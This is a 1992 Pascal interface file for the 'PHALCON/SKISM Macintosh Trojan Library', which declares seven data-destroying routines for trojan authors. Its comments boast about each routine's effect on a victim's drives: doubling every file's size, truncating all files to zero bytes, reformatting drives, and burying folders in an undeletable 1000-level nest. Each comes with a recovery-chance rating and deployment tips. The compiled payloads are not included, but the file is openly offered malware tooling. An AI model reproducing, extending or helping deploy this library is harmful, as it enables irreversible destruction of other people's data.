home *** CD-ROM | disk | FTP | other *** search
Text File | 1992-06-13 | 6.2 KB | 131 lines | [TEXT/PJMM] |
- unit TPSMTL;
- {TPSMTL = The PHALCON/SKISM Macintosh Trojan Library Volume 1. }
- {Written by Sixo, for -=PHALCON/SKISM=-. }
- { }
- {Make sure you include the file "TPSMTL Volume 1.lib" in your project. It }
- {was created in THINK Pascal 4.0.1 but should be entirely compatible with }
- {the MPW ".o" format, and probably earlier versions of TP. }
- { }
- {Read the "TPSMTL Readme" file as well. }
-
- interface
-
- procedure ChiaPutz;
-
- procedure TheDryer;
-
- procedure SmokeNSmog (DiskName: str255);
-
- procedure SmogNMirrors;
-
- procedure SmokeNMirrors (DiskName: str255);
-
- procedure BuriedTreasureTwo (FolderName: str255);
-
- procedure BuriedTreasureOne (FolderName: str255);
-
- implementation
-
- procedure ChiaPutz;
- external;
- {Typical response: "Gee, why has every single file suddenly doubled in size?" }
- {Effects: Usually eliminates all available free disk space on all drives. }
- {Recovery chances: Nil. }
- { }
- {You know those Chia Pet things advertised on television? The stupid things }
- {that grow instantly? Well, ChiaPutz does that, to the victim's hard drive. }
- {Every single file doubles in size - if the hard drive fills up, the program }
- {stops. Doesn't actually do much damage - all data is still intact - but it can }
- {certainly be annoying. And there's no real way to fix it unless the victim }
- {happens to keep track of the file sizes of every file down to the byte. Even }
- {then, who wants to weed through all those files, manually setting the file }
- {sizes with ResEdit or something? }
- { }
- {No variables need to be passed to it. }
-
- procedure TheDryer;
- external;
- {Typical response: "Gee, why has every single file shrunk to zero k?" }
- {Effects: Permanently destroys all file data on all drives. }
- {Recovery chances: Nil. }
- { }
- {Leaving clothes in the dryer usually winds up making them shrink. So turn }
- {your victim's hard drive into a software dryer - reduce every single file }
- {down to zero kilobytes in size. Both the resource fork and data fork are }
- {affected. Even files that are already opened are affected, like the System }
- {file, and even the trojan application itself. (To prevent that, you might want }
- {to have your trojan lock itself via the File Manager before using TheDryer.) }
- {Since no files are actually deleted - just the data is - the victim can't }
- {actually recover them. }
- { }
- {No variables need to be passed to it. }
-
- procedure SmokeNSmog (DiskName: str255);
- external;
- {Typical response: "Gee, why has my hard drive been reformatted?" }
- {Effects: Reformats all drives and writes an empty file tree to them. }
- {Recovery chances: 50%. }
- { }
- {This is a combination of SmogNMirrors and SmokeNMirrors, and is more }
- {potent than either one. That's not saying much, though. There's a pretty }
- {good chance any file recovery utility worth its salt can recovery the files. }
- {Meanwhile, the user is annoyed, can't work, and can't even boot off his HD. }
- { }
- {The variable "DiskName" is the name it will rename all drives to. }
-
- procedure SmogNMirrors;
- external;
- {Typical response: "Gee, why isn't my hard drive being recognized?" }
- {Effects: Reformats all drives but does not rewrite an empty file tree. }
- {Recovery chances: 65%. }
- { }
- {Simply performs a reformatting of the drive. This pretty much zaps all the }
- {files on the disk. Since it doesn't rewrite an empty file tree, though, the }
- {computer usually won't even recognize the disk. Rather annoying. }
- { }
- {No variables need to be passed to it. }
-
- procedure SmokeNMirrors (DiskName: str255);
- external;
- {Typical response: "Gee, where did all my files go?" }
- {Effects: Rewrite an empty file tree to all drives. }
- {Recovery chances: 85%. }
- { }
- {Lame, very very lame. All it does is overwrite the current file tree with an }
- {empty one, thereby making it look like there are no files on the disk. Easily }
- {recoverable by disk utilities, or should be. }
- { }
- {The variable "DiskName" is the name it will rename all drives to. }
-
- procedure BuriedTreasureTwo (FolderName: str255);
- external;
- {See BuriedTreasureOne for details. }
-
- procedure BuriedTreasureOne (FolderName: str255);
- external;
- {Typical response: "Gee, what are all these folders and where are my files?" }
- {Effects: Buries all current dirs on disk at the bottom of a 1000-dir nest. }
- {Recovery chances: Nil. }
- { }
- {BuriedTreasureOne is my personal favorite. What it does is create 1,000 }
- {folders, nested within each other, then moves all other folders on disk to the }
- {very bottom folder. End result: if the user wants his files, he'll have to }
- {open up one thousand folders to get there. The really nasty parts about this }
- {are that: (a) no Find-File utility tested yet can search in folders that deep; }
- {(b) the Finder - even with 7 megs free - cannot allocate enough memory to }
- {trash all those folders; (c) if you run it twice or more on a disk, it generally }
- {ruins the disk permanently - I guess it surpasses the limit for directories on }
- {a volume. Norton tries but cannot fix it, not even v2.0. }
- { }
- {The biggest problem with BuriedTreasureOne is that the user might wise up }
- {and slam the reset button while BT1 is building the nest. Then the user won't }
- {really get damaged at all - sure, he'll have this giant undeletable set of }
- {folders on his disk, but nothing too serious. So, BuriedTreasureTwo fixes }
- {this problem by using the following logic: create a folder, copy everything }
- {into it. Now, remember that folder's name, create a new one, move first }
- {into second, and repeat those last three steps. The drawback is that it is }
- {only about 30% as fast as BT1. So take your pick. }
- { }
- {The variable "FolderName" is the name it will use for all nest folders. }
-
- end.